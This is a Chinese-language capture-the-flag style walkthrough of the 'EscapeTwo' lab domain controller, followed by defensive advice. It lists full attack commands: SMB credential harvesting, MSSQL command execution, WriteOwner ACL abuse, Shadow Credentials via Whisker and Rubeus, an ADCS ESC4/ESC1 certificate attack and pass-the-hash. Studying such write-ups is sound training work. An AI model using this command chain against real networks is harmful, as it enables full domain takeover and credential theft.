Windows渗透实战之EscapeTwo
字数 1305 2025-08-22 12:23:30
Windows渗透实战之EscapeTwo教学文档
1. 初始信息与目标
目标机器: DC01.sequel.htb (10.10.11.51)
初始凭据: rose / KxEPkKe6R8su
2. 信息收集阶段
2.1 端口扫描
使用nmap进行TCP端口扫描:
sudo nmap -sT --min-rate 10000 -p- 10.10.11.51 -oA nmapscan/ports
开放端口:
53/tcp - domain (DNS)
88/tcp - kerberos-sec (Kerberos认证)
135/tcp - msrpc (Microsoft RPC)
139/tcp - netbios-ssn (NetBIOS会话服务)
389/tcp - ldap (Active Directory LDAP)
445/tcp - microsoft-ds (SMB文件共享)
464/tcp - kpasswd5 (Kerberos密码修改)
593/tcp - http-rpc-epmap (RPC over HTTP)
636/tcp - ldapssl (安全LDAP)
1433/tcp - ms-sql-s (Microsoft SQL Server)
3268/tcp - globalcatLDAP (全局目录LDAP)
3269/tcp - globalcatLDAPssl (安全全局目录LDAP)
5985/tcp - wsman (Windows远程管理)
9389/tcp - adws (Active Directory Web服务)
47001/tcp - winrm (Windows远程管理)
49664-49808/tcp - 动态随机端口
2.2 UDP扫描
nmap -sU --top-ports 20 10.10.11.51
重要UDP端口:
53/udp - domain (DNS)
88/udp - kerberos-sec (Kerberos认证)
389/udp - ldap (Active Directory LDAP)
2.3 详细服务扫描
nmap -sTVC -O -p$ports 10.10.11.51
关键发现:
- 域名为sequel.htb
- 主机名为DC01.sequel.htb
- 运行Microsoft SQL Server 2019 (15.00.2000.00; RTM)
- Windows版本: 10.0.17763
3. 初始渗透
3.1 SMB服务利用
使用初始凭据访问SMB共享:
smbclient -L //10.10.11.51 -U rose%KxEPkKe6R8su
发现共享文件夹:
- Accounting Department
访问共享并下载文件:
smbclient //10.10.11.51/"Accounting Department" -U rose%KxEPkKe6R8su
get accounts.xlsx
accounts.xlsx内容:
用户名 密码
sa MSSQLP@ssw0rd!
sql_svc SQLP@ssw0rd!
ryan WqSZAF6CysDQbGb3
3.2 MSSQL服务利用
尝试使用sa凭据:
netexec mssql sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
执行命令获取shell:
netexec mssql sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'powershell -e ...'
发现:
- 获得sql_svc的shell
- 在C:\SQL2019\ExpressAdv_ENU\目录下发现sql-Configuration.INI
- 找到密码: WqSZAF6CysDQbGb3
4. 横向移动
4.1 使用ryan凭据
使用evil-winrm连接:
evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
4.2 BloodHound枚举
发现ryan对ca_svc用户有WriteOwner权限
利用步骤:
-
将ryan设置为ca_svc的owner:
Set-DomainObjectOwner -Identity ca_svc -OwnerIdentity ryan -
修改ACL:
Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights All
4.3 获取Shadow Credentials
参考: https://exploit-notes.hdks.org/exploit/windows/active-directory/shadow-credentials/
# 使用Whisker添加Shadow Credentials
Whisker.exe add /target:ca_svc /domain:sequel.htb /dc:DC01.sequel.htb /path:C:\path\to\cert.pfx /password:password
# 使用Rubeus请求TGT
Rubeus.exe asktgt /user:ca_svc /certificate:C:\path\to\cert.pfx /password:password /ptt
5. ADCS证书服务攻击
5.1 枚举ADCS
使用certipy-ad枚举:
certipy-ad find -u ca_svc@sequel.htb -p 'password' -dc-ip 10.10.11.51
5.2 ESC4攻击
发现模板存在访问控制漏洞,可被利用进行ESC1攻击
利用步骤:
-
修改模板使其易受ESC1攻击
-
请求证书:
certipy-ad req -u ca_svc@sequel.htb -p 'password' -target DC01.sequel.htb -ca 'sequel-DC01-CA' -template 'VulnerableTemplate' -upn 'administrator@sequel.htb' -
获取管理员哈希:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
6. 权限提升与最终访问
使用获取的管理员凭据通过evil-winrm连接:
evil-winrm -i 10.10.11.51 -u administrator -H 'administrator_ntlm_hash'
7. 关键知识点总结
-
端口与服务识别:
- 识别标准域控制器服务(53,88,389,445等)
- 注意SQL Server(1433)和WinRM(5985,47001)端口
-
初始访问:
- SMB共享中常存储敏感文件(如accounts.xlsx)
- 密码重用是常见问题
-
横向移动技术:
- BloodHound用于识别特权关系
- WriteOwner权限可被提升为完全控制
- Shadow Credentials技术绕过密码认证
-
ADCS攻击:
- ESC1和ESC4是常见的证书服务漏洞
- certipy-ad是强大的ADCS攻击工具
-
最终提权:
- 通过证书服务获取域管理员权限
- 使用哈希传递进行最终认证
8. 防御建议
- 限制SMB共享的访问权限
- 实施严格的密码策略,避免密码重用
- 定期审计Active Directory权限
- 监控证书模板的修改
- 限制特权账户的证书注册权限
- 启用LSA保护防止凭据盗窃